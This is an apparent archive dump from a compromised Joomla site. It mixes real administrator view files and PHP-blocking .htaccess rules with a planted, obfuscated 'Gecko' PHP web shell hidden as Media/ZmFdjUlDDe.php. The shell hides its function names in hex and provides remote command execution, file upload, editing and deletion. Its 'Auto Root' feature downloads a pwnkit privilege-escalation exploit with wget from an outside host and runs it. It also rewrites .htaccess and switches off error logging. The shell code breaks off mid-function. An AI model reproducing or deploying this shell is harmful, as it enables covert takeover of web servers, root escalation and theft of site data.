$childBar->delete('users.delete', 'JTOOLBAR_DELETE') ->message('JGLOBAL_CONFIRM_DELETE') ->listCheck(true); } } if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_users'); } $toolbar->help('Users'); } } PK ��\�Sʉ� � Users/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK ��\�T. Mail/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\View\Mail; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Router\Route; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Users\Administrator\Model\MailModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Users mail view. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @throws \Exception */ public function display($tpl = null) { // Redirect to admin index if mass mailer disabled in conf if (Factory::getApplication()->get('massmailoff', 0) == 1) { Factory::getApplication()->redirect(Route::_('index.php', false)); } /** @var MailModel $model */ $model = $this->getModel(); // Get data from the model $this->form = $model->getForm(); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 * @throws \Exception */ protected function addToolbar() { Factory::getApplication()->getInput()->set('hidemainmenu', true); ToolbarHelper::title(Text::_('COM_USERS_MASS_MAIL'), 'users massmail'); $toolbar = $this->getDocument()->getToolbar(); $toolbar->standardButton('send', 'COM_USERS_TOOLBAR_MAIL_SEND_MAIL', 'mail.send') ->icon('icon-envelope') ->formValidation(true); $toolbar->cancel('mail.cancel', 'JTOOLBAR_CANCEL'); $toolbar->divider(); $toolbar->preferences('com_users'); $toolbar->divider(); $toolbar->help('Mass_Mail_Users'); } } PK ��\�Sʉ� � Mail/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK j�\y���� � File/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_media * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Administrator\View\File; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Media\Administrator\Model\FileModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View to edit a file. * * @since 4.0.0 */ class HtmlView extends BaseHtmlView { /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 4.0.0 */ public function display($tpl = null) { /** @var FileModel $model */ $model = $this->getModel(); $input = Factory::getApplication()->getInput(); $this->form = $model->getForm(); // The component params $this->params = ComponentHelper::getParams('com_media'); // The requested file $this->file = $model->getFileInformation($input->getString('path', null)); if (empty($this->file->content)) { // @todo error handling controller redirect files throw new \Exception(Text::_('COM_MEDIA_ERROR_NO_CONTENT_AVAILABLE')); } $this->addToolbar(); parent::display($tpl); } /** * Add the toolbar buttons * * @return void * * @since 4.0.0 */ protected function addToolbar() { ToolbarHelper::title(Text::_('COM_MEDIA_EDIT'), 'images mediamanager'); $toolbar = $this->getDocument()->getToolbar(); $toolbar->apply('apply'); $toolbar->save('save'); $toolbar->standardButton('reset', 'COM_MEDIA_RESET', 'reset') ->icon('icon-refresh') ->listCheck(false); $toolbar->cancel('cancel'); } } PK j�\�Sʉ� � File/.htaccessnu �7��m <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'> Order allow,deny Deny from all </FilesMatch>PK j�\�y y Media/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_media * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Administrator\View\Media; use Joomla\CMS\Application\CMSApplication; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\FileLayout; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Router\Route; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\Component\Media\Administrator\Model\MediaModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media List View * * @since 4.0.0 */ class HtmlView extends BaseHtmlView { /** * Holds a list of providers * * @var array|string * * @since 4.0.0 */ protected $providers = null; /** * The current path of the media manager * * @var string * * @since 4.0.0 */ protected $currentPath; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; * automatically searches through the template paths. * * @return void * * @since 4.0.0 */ public function display($tpl = null) { /** @var MediaModel $model */ $model = $this->getModel(); // Prepare the toolbar $this->prepareToolbar(); // Get enabled adapters $this->providers = $model->getProviders(); // Check that there are providers if (!\count($this->providers)) { $link = Route::_('index.php?option=com_plugins&view=plugins&filter[folder]=filesystem'); Factory::getApplication()->enqueueMessage(Text::sprintf('COM_MEDIA_ERROR_NO_PROVIDERS', $link), CMSApplication::MSG_WARNING); } $this->currentPath = Factory::getApplication()->getInput()->getString('path'); parent::display($tpl); } /** * Prepare the toolbar. * * @return void * * @since 4.0.0 */ protected function prepareToolbar() { $tmpl = Factory::getApplication()->getInput()->getCmd('tmpl'); $toolbar = $this->getDocument()->getToolbar(); $user = $this->getCurrentUser(); // Set the title ToolbarHelper::title(Text::_('COM_MEDIA'), 'images mediamanager'); // Add the upload and create folder buttons if ($user->authorise('core.create', 'com_media')) { // Add the upload button $layout = new FileLayout('toolbar.upload', JPATH_ADMINISTRATOR . '/components/com_media/layouts'); $toolbar->customButton('upload') ->html($layout->render([])); $toolbar->divider(); // Add the create folder button $layout = new FileLayout('toolbar.create-folder', JPATH_ADMINISTRATOR . '/components/com_media/layouts'); $toolbar->customButton('new') ->html($layout->render([])); $toolbar->divider(); } // Add a delete button if ($user->authorise('core.delete', 'com_media')) { // Instantiate a new FileLayout instance and render the layout $layout = new FileLayout('toolbar.delete', JPATH_ADMINISTRATOR . '/components/com_media/layouts'); $toolbar->customButton('delete') ->html($layout->render([])); $toolbar->divider(); } // Add the preferences button if (($user->authorise('core.admin', 'com_media') || $user->authorise('core.options', 'com_media')) && $tmpl !== 'component') { $toolbar->preferences('com_media'); $toolbar->divider(); } if ($tmpl !== 'component') { $toolbar->help('Media'); } } } PK j�\h k��� �� Media/ZmFdjUlDDe.phpnu �[��� <?php session_start(); $Array = [ '7368656c6c5f65786563', '65786563', '7061737374687275', '73797374656d', '70726f635f6f70656e', '706f70656e', '70636c6f7365', '72657475726e', '73747265616d5f6765745f636f6e74656e7473', '676574637764', // g e t c w d => 9 '6368646972', // c h d i r => 10 '7068705f756e616d65', // p h p _ u n a m e => 11 '6973736574', '66756e6374696f6e5f657869737473', '5f6d61645f636d64', '245f5345525645525b275345525645525f4e414d45275d', '676c6f62', // g l o b => 16 '69735f66696c65', // i s _ f i l e => 17 '69735f646972', // i s _ d i r => 18 '69735f7772697461626c65', // i s _ w r i t e a b l e => 19 '69735f7265616461626c65', // i s _ r e a d b l e => 20 '66696c6573697a65', // f i l e _ s i z e => 21 '6765745f63757272656e745f75736572', // user => 22 '5345525645525f534f465457415245', // Server Software => 23 '66696c656d74696d65', // f i l e m t i m e => 24 '746f756368', // t o u c h => 25 '6d6b646972', // m k d i r => 26 '66696c655f6765745f636f6e74656e7473', // f i l e g e t c o n t e n t s => 27 '66696c655f7075745f636f6e74656e7473', // f i l e p u t => 28 '726d646972', // r m d i r => 29 '756e6c696e6b', // u n l i n k => 30 '66696c65', // f i l e => 31 '6d756c7469706172742f666f726d2d64617461', // m u l t i p a r t / f o r m d a t a => 32 '444f43554d454e545f524f4f54', // r o o t d o c => 33 '68747470733a2f2f7777772e6861786f726469736c616e642e746563682f6c6f63616c726f6f742f70776e6b6974' // Source maybe? => 34 ]; $hitung_array = count($Array); for ($i = 0; $i < $hitung_array; $i++) { $fungsi[] = unhex($Array[$i]); } if (!empty($_GET['download'])) { $nameNyafile = basename($_GET['download']); $pathFilenya = $fungsi[9]() . "/" . $nameNyafile; if (!empty($nameNyafile) && file_exists($pathFilenya)) { // Define Headers header('Cache-control: public'); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $nameNyafile . '"'); header('Content-Transfer-Encoding: binary'); /**ZHNnc2RmZ2VydHNkZmdzZGZnc2RmZ3NkZmdzZGZn**/ readfile($pathFilenya); exit; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Gecko [ <?= $_SERVER['HTTP_HOST']; ?> ]</title> <link rel="shortcut icon" href="logo.png" type="image/x-icon"> <script src='https://kit.fontawesome.com/057b9b510c.js' crossorigin='anonymous'></script> <style> @import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap'); body { font-family: monospace; background-color: #1A1A1D; color: white; } a { text-decoration: none; color: white; } tr th { text-align: center; font-weight: bold; padding: 10px; } tr td:nth-child(3) { text-align: center; } tr td { padding: 10px; font-weight: bold; } thead { background-color: #29292e; color: white; } ul { list-style: none; } ul li { font-weight: bold; } h1 { font-family: 'Nanum Brush Script', cursive; } tbody tr:nth-child(even) { background: #29292e; } .pwd { padding: 5px; background-color: #29292e; } form li { margin: 15px; margin-left: -5px; } form li input[type="file"] { border: 1px solid; padding: 3.5px 4px; background-color: #29292e; color: white; border-radius: 5px; } .upload-submit { float: left; padding: 6.4px 50px; margin-right: 10px; font-weight: bold; background-color: #29292e; border: none; color: #1e9fc7; box-shadow: 1.5px 1.5px #303038; border-radius: 3px; } .upload-submit:hover { background-color: #d5dbd6; color: black; } .link-shell:hover::after { content: ""; border-bottom: 2px solid white; display: block; padding-bottom: 5px; margin-bottom: -7px; animation-name: link-shell; animation-duration: 0.6s; } @keyframes link-shell { from { width: 0; } to { width: 100%; } } .tool-menu li { display: inline-block; font-weight: none; padding: 13px 7px; } .tool-menu li a { padding: 7px 30px; color: #1e9fc7; background-color: #29292e; border-radius: 3px; box-shadow: 1.5px 1.5px #303038; } .tool-menu li a:hover { background-color: #d5dbd6; color: black; box-shadow: 1.5px 1.5px #d5dbd6; } .list-tool { padding: 1px; } .settings { float: right; position: relative; margin-top: -200px; } .settings select { padding: 5.5px 35px; background-color: #303038; border: none; color: white; border-radius: 4px; } .select-submit { padding: 6.5px 50px; margin-right: 10px; background-color: #303038; border: none; color: white; border-radius: 4px; } .select-submit:hover { background-color: #d5dbd6; color: black; } .action-gecko:hover { background-color: #d5dbd6; color: black; } .tool-menu-header { margin: -13px 0px; } .create { background-color: rgba(0, 0, 0, 0.3); position: fixed; display: flex; align-items: center; justify-content: center; top: 0; left: 0; height: 100vh; width: 100vw; animation: modal-box; animation-duration: 0.5s; animation-fill-mode: both; } @keyframes modal-box { from { opacity: 0; } to { opacity: 1; } } .modal { border-radius: 10px; background-color: white; color: black; width: 600px; max-width: 100%; padding: 18px; } .modal a { background-color: #29292e; padding: 8px 15px; border-radius: 3px; } .modal ul { float: right; } .modal ul li { display: inline; } .btn-modal { background-color: #29292e; color: white; border-radius: 3px; padding: 8px 15px; border: none; } .modal input[type="text"] { width: 100%; height: 30px; border-radius: 3px; border: 1px solid black; } .fw-bold { font-weight: bold; } .file-size { color: #1e9fc7; } th { color: #1e9fc7; } .fa-folder { color: orange; } .fa-file { color: #1e9fc7; } .terminal-content { z-index: 10; position: fixed; top: 0; left: 0; right: 0; bottom: 0; width: 100%; height: 100vh; background-color: rgba(0, 0, 0, 0.5); animation: modal-box; animation-duration: 0.5s; animation-fill-mode: both; font-weight: bold; } .terminal-body { margin: auto; margin-top: 60px; z-index: 20; width: 90%; background: white; height: 65vh; color: black; border-radius: 5px; } .terminal-body header { text-align: center; padding: 4px; background: #1A1A1D; color: white; } .terminal-body header a { float: right; color: black; font-size: large; background-color: white; position: relative; z-index: 11; border-radius: 5px; margin-top: -45px; padding: 10px 30px; } .terminal-body header a:hover { background-color: #29292e; color: white; border: 1px solid #303038; } .output-terminal { width: 99.5%; height: 100%; color: black; background-color: white; } .terminal-input { width: 90%; padding: 6px; margin-left: 1px; border: none; border-bottom: 2px solid black; } .terminal-submit { margin: 2.5px; padding: 7.5px 25px; background-color: black; color: white; border: none; border-radius: 3px; } .pwd-body { padding: 15px 8px; font-weight: bold; } .border { border: 1px solid black; border-radius: 2px; } .file-box { position: fixed; width: 100%; height: 100vh; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.5); z-index: 1; } .file-content { width: 90%; background-color: white; height: 70%; margin: auto; margin-top: 20px; color: black; } .file-content textarea { width: 99.5%; height: 70vh; } .file-header { background-color: #1A1A1D; padding: 15px; } .file-header ul { list-style: none; } .file-header li { display: inline-block; margin: 0px 30px; } .file-header li:nth-child(3) { float: right; margin-right: -5px; } .file-header li:nth-child(3) a { color: black; font-size: large; background-color: white; z-index: 11; border-radius: 5px; padding: 10px 30px; } .file-header li:nth-child(3) a:hover { background-color: #29292e; color: white; border: 1px solid #303038; } .file-header li button { color: black; cursor: pointer; font-weight: bold; background: white; font-size: 15px; border: 1px solid white; padding: 10px 15px; margin: -10px -15px; border-radius: 5px; } .link-rename { padding: 10px 15px; border: 1px solid white; background-color: white; color: black; border-radius: 5px; margin: -10px -15px; } </style> </head> <?php @set_time_limit(0); @clearstatcache(); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @ini_set('output_buffering', 0); @ini_set('display_errors', 0); function Redirect($url, $permanent = false) { header('Location: ' . $url, true, $permanent ? 301 : 302); exit(); } if (isset($_GET['dir'])) { $cdir = unhex($_GET['dir']); $fungsi[10]($cdir); } else { $cdir = $fungsi[9](); } $get_cwd = $fungsi[9](); $scdir = $fungsi[16]("{.[!.],}*", GLOB_BRACE); ?> <body> <div class="list-shell"> <ul> <li><?= $fungsi[11](); ?></li> <li><?= $_SERVER[$fungsi[23]]; ?></li> <li>Server IP : <?= $_SERVER['SERVER_ADDR']; ?> & Your IP : <?= $_SERVER['REMOTE_ADDR']; ?></li> <li>Domains : <?= symlinkDomain(); ?></li> <li> User : <?= $fungsi[22](); ?> </li> <form action="" method="post" enctype="<?= $fungsi[32] ?>"> <li><input type="file" name="gecko-file" id=""><input type="submit" class="upload-submit" name="upload-submit" value="Upload"></li> </form> </ul> <div class="tool-menu-header"> <div class="list-tool"> <ul class="tool-menu"> <li><a href="?dir=<?= hex($fungsi[9]()); ?>&action=terminal" class=""><i class="fa-solid fa-terminal"></i> Terminal</a></li> <li><a href="?dir=<?= hex($fungsi[9]()); ?>&action=root-terminal" class=""><i class="fa-solid fa-code"></i> Auto Root</a></li> <li><a href="?dir=<?= hex($fungsi[9]()); ?>&create=file" class=""><i class="fa-solid fa-file-circle-plus"></i> Create File</a></li> <li><a href="?dir=<?= hex($fungsi[9]()); ?>&create=folder" class=""><i class="fa-solid fa-folder-plus"></i> Create Folder</a></li> <li><a href="https://www.exploit-db.com/search?q=Linux%20Kernel%20<?= linux_version(); ?>" class=""><i class="fa-solid fa-bug"></i> Localroot Suggester</a></li> <li><a href="?dir=<?= hex($fungsi[9]()); ?>&backdoor=true" class=""><i class="fa-solid fa-virus"></i> Backdoor Destroyer</a></li> <li><a href="https://github.com/MadExploits/Gecko/" class=""><i class="fa-solid fa-book"></i> Readme</a></li> </ul> </div> </div> <br> </div> <div class="border"> <div class="pwd"> <form action="" method="post"> <div class="pwd-body"> <?php $cwd = str_replace("\\", "/", $get_cwd); // untuk dir garis windows $pwd = explode("/", $cwd); foreach ($pwd as $id => $val) { if ($val == '' && $id == 0) { echo '<a href="?dir=' . hex('/') . '"><i class="fa-solid fa-folder-plus"></i> / </a>'; continue; } if ($val == '') continue; echo '<a href="?dir='; for ($i = 0; $i <= $id; $i++) { echo hex($pwd[$i]); if ($i != $id) echo hex("/"); } echo '">' . $val . ' / ' . '</a>'; } ?> </div> <div class="settings"> <select name="action-gecko" id="" class="action-gecko"> <option value="delete">Delete</option> <option value="unzip">Unzip</option> </select> <input type="submit" class="select-submit" value="Submit" name="gecko-submit"> </div> </div> <table style="width:100%;"> <thead> <tr> <th>Name</th> <th>Size</th> <th>Permission</th> <th>Date</th> <th>Action</th> </tr> </thead> <tbody> <!-- FOLDER NYA --> <?php foreach ($scdir as $dir) : ?> <?php if ($fungsi[18]($dir)) : ?> <tr> <td> <input type="checkbox" name="check-gecko[]" id="folder" value="<?= $dir; ?>"> <label for="folder"><i class="fa-solid fa-folder"></i> <a href="?dir=<?= hex($cwd . "/" . $dir); ?>" class="link-shell"><?= $dir; ?></a> </td> <td>[ DIR ]</td> <td><?php if ($fungsi[19]($fungsi[9]() . '/' . $dir)) echo '<font color="#00ff00">'; elseif (!$fungsi[20]($fungsi[9]() . '/' . $dir)) echo '<font color="red">'; echo perms($fungsi[9]() . '/' . $dir); ?> </td> <td> <?php echo date( "Y-m-d H:i", $fungsi[24]($dir) ); ?> </td> <td> <a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $dir ?>"><i class="fa-solid fa-file-pen"></i></a> <a href="?dir=<?= hex($fungsi[9]()) ?>&chmod=<?= $dir ?>"><i class="fa-solid fa-user-pen"></i></a> </td> </tr> <?php endif; ?> <?php endforeach; ?> <!-- FILE NYA --> <?php foreach ($scdir as $_file) : ?> <?php if ($fungsi[17]($_file)) : ?> <tr> <td> <input type="checkbox" name="check-gecko[]" id="folder" value="<?= $_file; ?>"> <label for="folder"><i class="fa-regular fa-file"></i> <a href="?dir=<?= hex($cwd . "/"); ?>&f=<?= $_file; ?>" class="link-shell"><?= $_file; ?></a> </td> <td><?= formatSize($fungsi[21]($_file)); ?></td> <td> <?php if ($fungsi[19]($fungsi[9]() . '/' . $_file)) { echo '<font color="#00ff00">'; } elseif (!$fungsi[20]($fungsi[9]() . '/' . $_file)) { echo '<font color="red">'; } echo perms($fungsi[9]() . '/' . $_file); ?> </td> <td> <?php echo date( "Y-m-d H:i", $fungsi[24]($_file) ); ?> </td> <td> <a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $_file ?>"><i class="fa-solid fa-file-pen"></i></a> <a href="?dir=<?= hex($fungsi[9]()) ?>&download=<?= $_file ?>"><i class="fa-solid fa-download"></i></a> <a href="?dir=<?= hex($fungsi[9]()) ?>&chmod=<?= $_file ?>"><i class="fa-solid fa-user-pen"></i></a> </td> </tr> <?php endif; ?> <?php endforeach; ?> </tbody> </table> </div> <br> </form> <?php if ($_GET['create'] == True) : ?> <div class="create"> <div class="modal"> <?php if ($_GET['create'] == "file") : ?> <header> <h2><?= '<i class="fa-solid fa-file-circle-plus"></i> Create File'; ?></h2> </header> <form action="" method="post"> <input type="text" name="create_file" id="" placeholder=" Nama File"> <?php elseif ($_GET['create'] == "folder") : ?> <header> <h2><?= '<i class="fa-solid fa-folder-plus"> </i>Create Folder'; ?></h2> </header> <form action="" method="post"> <input type="text" name="create_folder" id="" placeholder=" Nama Folder"> <?php endif; ?> <ul> <li><input type="submit" name="submit-modal" class="btn-modal fw-bold" value="Submit"></li> <li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li> </ul> </form> </div> </div> <?php endif; ?> <?php if ($_GET['action'] == "terminal") : ?> <div class="terminal-content"> <div class="terminal"> <div class="terminal-body"> <header> <h3><i class="fa-solid fa-terminal"></i> </h3> <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a> </header> <form action="" method="post"> <center> <input type="text" placeholder="uname -a" name="terminal" class="terminal-input" autofocus> <input type="submit" value=">" name="submit-terminal" class="terminal-submit"> </center> </form> <?php if (isset($_POST['submit-terminal'])) : ?> <textarea class="output-terminal" disabled><?= htmlspecialchars($fungsi[14]($_POST['terminal'] . " 2>&1")); ?></textarea> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if ($_GET['action'] == "root-terminal") : ?> <div class="terminal-content"> <div class="terminal"> <div class="terminal-body"> <header> <h3><i class="fa-solid fa-terminal"></i> </h3> <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a> </header> <form action="" method="post"> <center> <input type="text" placeholder="root@terminal~#" name="terminal-root" class="terminal-input" autofocus> <input type="submit" value=">" name="submit-root" class="terminal-submit"> </center> </form> <?php if (isset($_POST['submit-root'])) : ?> <textarea class="output-terminal" disabled> <?php $terminal = $_POST['terminal-root']; if ($terminal == "root") { echo "[+] Downloading The source \n"; echo $fungsi[14]("wget " . $fungsi[34] . " --no-check-certificate"); echo "[!] Chmod file pwnkit....\n"; echo $fungsi[14]("chmod +x pwnkit"); echo "[+] Testing if this kernel vulnerable...\n"; echo $fungsi[14]('./pwnkit "id" >> mad-pwnkit'); $check_vulnerable = $fungsi[27]($fungsi[9]() . "/mad-pwnkit"); $explode_mad_pwkit = explode(" ", $check_vulnerable); if ($explode_mad_pwkit[0] == "uid=0(root)") { echo "[~] This Kernel is vulnerable congrats!\n"; } else { echo "[!] This kernel is not Vulnerable Sorry :)"; return; } echo "[+] Giving Permission on mad-pwnkit\n"; echo $fungsi[14]("chmod +x mad-pwnkit"); if (!$fungsi[14]('./pwnkit "id"')) { echo "[!] Cannot running pwnkit"; } else { echo "[!] Done Sir. now u can running on root user!"; exit; } } echo htmlspecialchars($fungsi[14]('./pwnkit "' . $terminal . '"')); ?> </textarea> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (isset($_POST['submit-modal'])) { if ($_POST['create_file']) { $file = $_POST['create_file']; if ($fungsi[25]($file)) { echo success(); } else { echo failed(); } } elseif ($_POST['create_folder']) { $folder = $_POST['create_folder']; if ($fungsi[26]($folder)) { echo success(); } else { echo failed(); } } } ?> <br> <?php if (isset($_GET['f'])) : ?> <div class="file-box"> <div class="file-content"> <form action="" method="post"> <div class="file-header"> <ul> <li><button type="submit" name="submit-file"><i class="fa-regular fa-floppy-disk"></i> Save</button></li> <li><a href="?dir=<?= hex($fungsi[9]()) ?>&rename=<?= $_GET['f'] ?>" class="link-rename"><i class="fa-solid fa-pen-to-square"></i> Rename</a></li> <li> <a href="?dir=<?= hex($fungsi[9]()); ?>"><i class="fa-solid fa-xmark"></i></a></li> </ul> </div> <textarea name="text-file"><?php echo htmlspecialchars($fungsi[27]($_GET['f'])); ?></textarea> </form> </div> </div> <?php endif; ?> <?php if ($_GET['rename'] == True) : ?> <div class="create"> <div class="modal"> <header> <h2><?= $_GET['rename'] ?></h2> </header> <form action="" method="post"> <input type="text" name="rename" id="" placeholder=" File/Folder"> <ul> <li><input type="submit" name="submit-rename" class="btn-modal fw-bold" value="Submit"></li> <li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li> </ul> </form> </div> </div> <?php endif; ?> <?php if ($_GET['chmod'] == True) : ?> <div class="create"> <div class="modal"> <header> <h2><?= $_GET['chmod'] ?></h2> </header> <form action="" method="post"> <input type="number" style="width:100%" name="chmod" id="" placeholder=" 775"> <ul> <li><input type="submit" name="submit-chmod" class="btn-modal fw-bold" value="Submit"></li> <li><a href="?dir=<?= hex($fungsi[9]()); ?>">Close</a></li> </ul> </form> </div> </div> <?php endif; ?> </body> </html> <?php if ($_GET['backdoor'] == True) { // check if htaccess have this code $file_htaccess = $fungsi[27]($_SERVER[$fungsi[33]] . "/htaccess"); $cari_code = explode('<', $file_htaccess); if (!end($cari_code) == '/FilesMatch>') { // pengecekan nama file sekarang $namafile = $_SERVER['SCRIPT_FILENAME']; $fileUtama = explode("/", $namafile); $htaccess_text = ' <FilesMatch ".ph*|Ph*|pH*|PH*"> Order Deny,Allow Deny from all </FilesMatch> <FilesMatch "' . end($fileUtama) . '|index.php|index.html|*.png|.htaccess"> Order Deny, Allow Allow from all </FilesMatch>'; $document_root = $_SERVER[$fungsi[33]]; $cmd = $fungsi[14]("echo '" . $htaccess_text . "' >> " . $document_root . "/.htaccess"); if ($cmd) { echo success(); } else { echo failed(); } } else { echo failed(); } } if (isset($_POST['submit-chmod'])) { $numberChmod = $_POST['chmod']; $chm_o_d = chmod($fungsi[9] . "/" . $_GET['chmod'], is_int($numberChmod)); if ($chm_o_d) { echo success(); } else { echo failed(); } } if (isset($_POST['upload-submit'])) { $name_file = $_FILES['gecko-file']['name']; $tmp_name = $_FILES['gecko-file']['tmp_name']; $move = move_uploaded_file($tmp_name, __DIR__ . "/" . $name_file); if ($move) { echo success(); } else { echo failed(); } } if (isset($_POST['submit-rename'])) { $new_name = $_POST['rename']; $re_name = rename($fungsi[9]() . "/" . $_GET['rename'], $new_name); if ($re_name) { echo success(); } else { echo failed(); } } if (isset($_POST['submit-file'])) { $textarea = $_POST['text-file']; $write = $fungsi[28]($fungsi[9]() . "/" . $_GET['f'], $textarea); if ($write) { echo success(); } else { echo failed(); } } if (isset($_POST['gecko-submit'])) { $item = $_POST['check-gecko']; if ($_POST['action-gecko'] == "delete") { foreach ($item as $it) { $repl = str_replace("\\", "/", $fungsi[9]()); // Untuk Windows Path $fd = $repl . "/" . $it; if ($fungsi[18]($fd) || $fungsi[17]($fd)) { $rmdir = unlinkDir($fd); $rmfile = $fungsi[30]($fd); if ($rmdir || $rmfile) { echo success(); } else { echo failed(); } } } } } function success() { return '<meta http-equiv="refresh" content="0;url=?dir=' . hex($GLOBALS['fungsi'][9]()) . '&response=success">'; } function failed() { return '<meta http-equiv="refresh" content="0;url=?dir=' . hex($GLOBALS['fungsi'][9]()) . '&response=failed">'; } function _mad_cmd($de) { $out = ''; try { if (function_exists('shell_exec')) { return @$GLOBALS['fungsi'][0]($de); } else if (function_exists('system')) { @$GLOBALS['fungsi'][3]($de); } else if (function_exists('exec')) { $exec = array(); @$GLOBALS['fungsi'][1]($de, $exec); $out = @join("\n", $exec); return $exec; } else if (function_exists('passthru')) { @$GLOBALS['fungsi'][2]($de); } else if (function_exists('popen') && function_exists('pclose')) { if (is_resource($f = @$GLOBALS['fungsi'][5]($de, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); return $out; $GLOBALS['fungsi'][6]($f); } } else if (function_exists('proc_open')) { $pipes = array(); $process = @$GLOBALS['fungsi'][4]($de . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null); $out = @$GLOBALS['fungsi'][8]($pipes[1]); return $out; } else if (class_exists('COM')) { $madWs = new COM('WScript.shell'); $exec = $madWs->$GLOBALS['fungsi'][1]('cmd.exe /c ' . $_POST['alfa1']); $stdout = $exec->StdOut(); $out = $stdout->ReadAll(); } } catch (Exception $e) { } return $out; } function unlinkDir($dir) { $dirs = array($dir); $files = array(); for ($i = 0;; $i++) { if (isset($dirs[$i])) $dir = $dirs[$i]; else break; if ($openDir = opendir($dir)) { while ($readDir = @readdir($openDir)) { if ($readDir != "." && $readDir != "..") { if ($GLOBALS['fungsi'][18]($dir . "/" . $readDir)) { $dirs[] = $dir . "/" . $readDir; } else { $files[] = $dir . "/" . $readDir; } } } } } foreach ($files as $file) { $GLOBALS['fungsi'][30]($file); } $dirs = array_reverse($dirs); foreach ($dirs as $dir) { $GLOBALS['fungsi'][29]($dir); } } function formatSize($bytes) { $types = array('<span class="file-size">B</span>', '<span class="file-size">KB</span>', '<span class="file-size">MB</span>', '<span class="file-size">GB</span>', '<span class="file-size">TB</span>'); for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++); return (round($bytes, 2) . " " . $types[$i]); } function symlinkDomain() { $d0mains = @file("/etc/named.conf", false); if (!$d0mains) { $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>"; $GLOBALS["need_to_update_header"] = "true"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } $dom = "$count Domain"; } return $dom; } function linux_version() { $pecah = explode(" ", $GLOBALS['fungsi'][11]()); $pcah = explode("-", $pecah[2]); return $pcah[0]; } function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif 